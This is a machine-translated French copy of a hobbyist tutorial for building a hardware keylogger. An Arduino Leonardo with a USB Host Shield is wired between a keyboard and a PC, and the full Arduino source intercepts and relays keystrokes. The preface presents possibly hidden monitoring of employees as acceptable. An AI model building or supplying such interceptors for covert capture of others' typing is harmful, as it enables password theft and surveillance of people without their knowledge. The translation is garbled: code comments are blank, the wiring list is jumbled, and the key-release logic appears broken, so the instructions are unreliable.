Enregistreur de frappe sur Arduino

Préface


Il vaut la peine de dire que la portée de cet appareil n'est pas si grande. Pour le travail, c'est la surveillance, la surveillance du temps de travail, la protection contre les fuites d'informations et, probablement, c'est tout.

Dans la vie de tous les jours, cette chose peut faciliter la vie. Par exemple, ils ont appuyé sur une certaine combinaison de touches - Arduino les a reconnus et ... a envoyé un signal pour allumer la bouilloire. Si ce n'est pas une bouilloire, alors autre chose.

Mais encore, c'est un suivi banal (peut-être même caché) pour un employé, ce qui d'un point de vue moral n'est pas bon. Mais néanmoins, le certificat légal donne le feu vert s'il est prévu dans le contrat de travail, si ce contrôle a lieu pendant les heures de travail et sur le lieu de travail, et si, bien sûr, le salarié est informé et coché.

Eh bien, dans votre vie personnelle, vous êtes libre de faire ce que vous voulez, tant que cela concerne votre propriété.

Tout, nous sommes protégés légalement, maintenant je vais dire et montrer ce dont nous avons besoin et comment le rassembler pour obtenir un simple intercepteur de frappes du clavier.

Commençons


Nous avons donc besoin d'une douzaine de fils et de deux cartes:

1) Arduino Leonardo



2) USB Host Shield



Pourquoi Arduino Leonardo? Parce qu'il est relativement bon marché et, contrairement à ses prédécesseurs, l'ATmega32u4 a un support intégré pour les connexions USB.

Le protocole USB définit deux types de périphériques: l'hôte (maître, serveur) et les périphériques (esclave, client). USB Host Shield gère et alimente les périphériques. Par exemple, lorsque vous connectez le clavier à un PC, le PC est l'hôte qui contrôle le client et le client, dans ce cas, est le clavier.

Et il y a pas mal de périphériques pris en charge. Les plus intéressants sont:

1) les appareils HID: clavier, souris, joystick, etc.
2) les contrôleurs de jeu
3) Téléphones et tablettes Android compatibles ADK.

Et pour plus d'informations, rendez-vous sur le site officiel .

Dans notre cas, c'est le clavier. Il appartient à la classe des appareils HID. Le code HID du clavier est codé en 8 octets:

1) 1 octet - chaque bit correspond à son propre modificateur (L Ctrl, R Ctrl, L Shift, R Shift, etc.).
2) 2 octets - réservés et nous n'avons pas besoin, généralement il est nul.
3) 3-8 octets - contiennent des codes de 6 clés.

Vous pouvez en savoir plus à ce sujet ici .

Tout, avec la théorie terminée, vous pouvez maintenant assembler le circuit.



À propos, un programme très pratique pour dessiner des diagrammes, dans lequel ce diagramme a été dessiné, est ici .

Maintenant, cela vaut la peine d'expliquer ce qui est quoi.

L'Arduino Leonardo a une petite fonctionnalité en raison de laquelle nous ne pouvons pas simplement le connecter en haut: les connecteurs SPI sont situés sur l'ICSP (ces 6 connecteurs sont au milieu à droite) et pour cette raison, ils doivent être connectés aux connecteurs numériques USB Host Shield.

1) Fil jaune: broche 4 MOSI (connectée à la broche 11 sur le blindage de l'hôte USB).
2) Fil gris: broche 1 MISO (connectée à 12 broches sur le blindage de l'hôte USB).
3) Fil vert: broche 3 SCK (connectée à la broche 13 sur le blindage de l'hôte USB).

Nous fournissons de l'énergie avec les cinq fils inférieurs et un violet:

1) Réinitialiser pour réinitialiser
2) 3,3
V à 3,3 V 3) 5 V à 5 V
4) GND à GND
5) VIN à VIN
6) Réinitialiser à D7

Maintenant, nous devons connecter les broches de contrôle:
1) D7 à D7
2) D10 à D10

C'est un minimum nécessaire pour le faire fonctionner.

Donc, il y a un circuit, maintenant nous devons le programmer d'une manière ou d'une autre et cela se fait en utilisant l'IDE Arduino. Il est entièrement gratuit et appartient au domaine public. Des exemples de programmes et de l'IDE lui-même peuvent être trouvés sur le site officiel.

Pour fonctionner avec USB Host Shield, nous avons besoin d'une bibliothèque supplémentaire ( ici ).

Le code lui-même est aussi simple que possible:

#include <hidboot.h>
#include <SPI.h>
#include <SD.h>

//     .
class KeyboardOut
{
  private:
    KeyReport _keyReport; //   8   .
    
    void send_report();
    
  public:
    size_t press(uint8_t mod, uint8_t key);
    size_t release(uint8_t mod, uint8_t key);
};

KeyboardOut keyboard_out;

//     .
size_t KeyboardOut::press(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers |= mod;
  
  if (_keyReport.keys[0] != key && _keyReport.keys[1] != key && 
    _keyReport.keys[2] != key && _keyReport.keys[3] != key &&
    _keyReport.keys[4] != key && _keyReport.keys[5] != key) {

    for (i=0; i<6; i++) {
      if (_keyReport.keys[i] == 0x00) {
        _keyReport.keys[i] = key;
        break;
      }
    }
    if (i == 6) {
      return 0;
    }	
  }
  send_report();
  return 1;
}

//     .
size_t KeyboardOut::release(uint8_t mod, uint8_t key) {
  uint8_t i;
  
  _keyReport.modifiers &= mod;
  
  for (i=0; i<6; i++) {
    if (0 != key && _keyReport.keys[i] == key) {
      _keyReport.keys[i] = 0x00;
    }
  }
  send_report();
  return 1;
}

void KeyboardOut::send_report()
{
  HID_SendReport(2, &_keyReport, sizeof(KeyReport));	//     .
}

//     USB Host Shield.
class KeyboardIn : public KeyboardReportParser
{
  protected:
    void OnKeyDown  (uint8_t mod, uint8_t key);
    void OnKeyUp  (uint8_t mod, uint8_t key);
};

KeyboardIn keyboard_in;

//     USB Host Shield.
void KeyboardIn::OnKeyDown(uint8_t mod, uint8_t key)
{
  keyboard_out.press(mod, key);
  
  uint8_t c = OemToAscii(mod, key);    //     
  PrintHex<uint8_t>(key, 0x80);            //     
}

//     USB Host Shield.
void KeyboardIn::OnKeyUp(uint8_t mod, uint8_t key)
{
  keyboard_out.release(mod, key);
  
  uint8_t c = OemToAscii(mod, key);
  PrintHex<uint8_t>(key, 0x80);
}

USB     UsbHost;

HIDBoot<HID_PROTOCOL_KEYBOARD>    HidKeyboard(&UsbHost);

void setup()
{
  UsbHost.Init();
  
  delay( 200 );

  HidKeyboard.SetReportParser(0, (HIDReportParser*)&keyboard_in);
}

void loop()
{
  UsbHost.Task();
}

Il ne reste plus qu'à se connecter via USB Arduino à un PC, et le clavier à USB Host Shield, téléchargez le programme sur Arduino en utilisant l'IDE et c'est tout! Key Catcher est prêt!

Résultats:

1) Arduino offre de nombreuses fonctionnalités à son bas prix et une grande variété de modules et de capteurs.
2) Cet appareil peut vous permettre de transformer votre clavier en panneau de commande, par exemple, un téléviseur, une bouilloire électrique, une lampe, vous n'avez qu'à acheter quelques modules.

Source: https://habr.com/ru/post/fr388335/


All Articles